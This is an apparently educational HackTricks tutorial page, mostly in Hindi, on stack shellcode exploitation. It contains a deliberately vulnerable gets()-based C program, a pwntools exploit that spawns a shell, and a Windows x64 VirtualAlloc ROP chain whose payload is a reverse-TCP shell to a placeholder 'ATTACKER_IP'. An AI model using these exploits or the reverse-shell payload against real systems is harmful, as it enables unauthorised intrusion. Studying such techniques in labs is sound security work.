Stack Shellcode
Reading time: 8 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
बुनियादी जानकारी
Stack shellcode एक तकनीक है जो binary exploitation में उपयोग होती है, जहाँ एक हमलावर कमजोर प्रोग्राम के stack पर shellcode लिखता है और फिर Instruction Pointer (IP) या Extended Instruction Pointer (EIP) को इस shellcode के स्थान की ओर इंगित करने के लिए बदल देता है, जिससे यह निष्पादित हो जाता है। यह लक्ष्य सिस्टम पर अनधिकृत पहुँच प्राप्त करने या मनमाने आदेशों को निष्पादित करने के लिए उपयोग की जाने वाली एक क्लासिक विधि है। यहाँ प्रक्रिया का विवरण है, जिसमें एक सरल C उदाहरण और यह भी बताया गया है कि आप Python के साथ pwntools का उपयोग करके संबंधित exploit कैसे लिख सकते हैं।
C उदाहरण: एक कमजोर प्रोग्राम
चलें एक सरल कमजोर C प्रोग्राम के उदाहरण से शुरुआत करते हैं:
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
यह प्रोग्राम gets()
फ़ंक्शन के उपयोग के कारण buffer overflow के प्रति vulnerable है।
संकलन
विभिन्न सुरक्षा उपायों को अक्षम करते हुए (to simulate a vulnerable environment) इस प्रोग्राम को संकलित करने के लिए, आप निम्नलिखित command का उपयोग कर सकते हैं:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-fno-stack-protector
: स्टैक प्रोटेक्शन को अक्षम करता है.-z execstack
: स्टैक को executable बनाता है, जो स्टैक पर संग्रहीत shellcode को निष्पादित करने के लिए आवश्यक है.-no-pie
: Position Independent Executable को अक्षम करता है, जिससे यह अनुमान लगाना आसान हो जाता है कि हमारा shellcode किस मेमोरी पते पर स्थित होगा.-m32
: प्रोग्राम को 32-bit executable के रूप में कंपाइल करता है, जो अक्सर exploit development में सरलता के लिए उपयोग होता है.
Python Exploit: Pwntools का उपयोग करके
यहाँ बताया गया है कि आप Python में pwntools का उपयोग करके ret2shellcode attack करने के लिए एक exploit कैसे लिख सकते हैं:
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
This script constructs a payload consisting of a NOP slide, the shellcode, and then overwrites the EIP with the address pointing to the NOP slide, ensuring the shellcode gets executed.
NOP slide (asm('nop')
) का उपयोग इस संभावना को बढ़ाने के लिए किया जाता है कि execution हमारे shellcode में "slide" कर जाए भले ही exact address अलग हो। अपने buffer के starting address में offset जोड़कर p32()
argument को समायोजित करें ताकि आप NOP slide में land करें।
Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
आधुनिक Windows पर stack non-executable होता है (DEP/NX)। stack-resident shellcode को stack BOF के बाद भी execute करने का एक सामान्य तरीका यह है कि आप एक 64-bit ROP chain बनाएं जो module के Import Address Table (IAT) से VirtualAlloc (या VirtualProtect) को कॉल करे ताकि stack का एक region executable बन जाए और फिर chain के बाद जोड़ी गई shellcode में return किया जा सके।
Key points (Win64 calling convention):
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
- RCX = lpAddress → वर्तमान stack में किसी address को चुनें (उदा., RSP) ताकि newly allocated RWX region आपके payload के साथ overlap करे
- RDX = dwSize → आपके chain + shellcode के लिए पर्याप्त बड़ा (उदा., 0x1000)
- R8 = flAllocationType = MEM_COMMIT (0x1000)
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
- Return directly into the shellcode placed right after the chain.
Minimal strategy:
- Leak a module base (उदा., format-string, object pointer, आदि के माध्यम से) ताकि आप ASLR के तहत absolute gadget और IAT addresses compute कर सकें।
- RCX/RDX/R8/R9 लोड करने के लिए gadgets खोजें (pop या mov/xor-आधारित sequences) और एक call/jmp [VirtualAlloc@IAT]। यदि आपके पास direct pop r8/r9 नहीं हैं, तो constants synthesize करने के लिए arithmetic gadgets का उपयोग करें (उदा., r8=0 सेट करें और r9 में 0x40 को बार-बार जोड़कर forty times तक जाकर 0x1000 प्राप्त करें)।
- stage-2 shellcode को chain के तुरंत बाद रखें।
Example layout (conceptual):
# ... padding up to saved RIP ...
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
POP_R9_RET; 0x40
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
POP_R8_RET; 0x1000
# RCX = &stack (lpAddress)
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
# RDX = size (dwSize)
POP_RDX_RET; 0x1000
# Call VirtualAlloc via the IAT
[IAT_VirtualAlloc]
# New RWX memory at RCX — execution continues at the next stack qword
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----
एक constrained gadget set के साथ, आप register values को indirectly craft कर सकते हैं, उदाहरण के लिए:
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → set r9 from rbx, zero r8, and compensate stack with a junk qword.
- xor rbx, rsp; ret → seed rbx with the current stack pointer.
- push rbx; pop rax; mov rcx, rax; ret → move RSP-derived value into RCX.
Pwntools sketch (यदि base और gadgets ज्ञात हों):
from pwn import *
base = 0x7ff6693b0000
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
rop = b''
# r9 = 0x40
rop += p64(base+POP_RBX_RET) + p64(0x40)
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
# rcx = rsp
rop += p64(base+POP_RBX_RET) + p64(0)
rop += p64(base+XOR_RBX_RSP_RET)
rop += p64(base+PUSH_RBX_POP_RAX_RET)
rop += p64(base+MOV_RCX_RAX_RET)
# r8 = 0x1000 via arithmetic if no pop r8
for _ in range(0x1000//0x40):
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
# rdx = 0x1000 (use any available gadget)
rop += p64(base+POP_RDX_RET) + p64(0x1000)
# call VirtualAlloc and land in shellcode
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
टिप्स:
-
VirtualProtect समान रूप से काम करता है यदि किसी मौजूदा buffer को RX बनाना préférable हो; पैरामीटर का क्रम अलग है।
-
यदि stack space तंग है, तो RWX कहीं और allocate करें (RCX=NULL) और stack को reuse करने के बजाय उस नए region पर jmp करें।
-
ऐसे gadgets जिन्हें RSP adjust करना पड़ता है (जैसे add rsp, 8; ret) को हमेशा ध्यान में रखें और junk qwords डालें।
-
ASLR अक्षम किया जाना चाहिए ताकि address executions के दौरान भरोसेमंद रहे — वरना जिस address पर function store होगा वह हर बार समान नहीं होगा और यह पता लगाने के लिए आपको किसी तरह का leak चाहिए होगा कि win function कहाँ load हुआ है।
-
Stack Canaries को भी अक्षम किया जाना चाहिए, वरना compromised EIP return address कभी भी follow नहीं होगा।
-
NX stack सुरक्षा shellcode के stack के भीतर execution को रोक देगी क्योंकि वह region executable नहीं होगा।
अन्य उदाहरण और संदर्भ
- https://ir0nstone.gitbook.io/notes/types/stack/shellcode
- https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html
- 64bit, ASLR के साथ stack address leak, shellcode लिखकर उस पर jump करें
- https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html
- 32 bit, ASLR के साथ stack leak, shellcode लिखकर उस पर jump करें
- https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html
- 32 bit, ASLR के साथ stack leak, exit() कॉल को रोकने के लिए comparison, किसी variable को एक value से overwrite करें और shellcode लिखकर उस पर jump करें
- https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, no ASLR, ROP gadget का उपयोग कर stack को executable बनाना और फिर stack में shellcode पर jump करना
संदर्भ
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।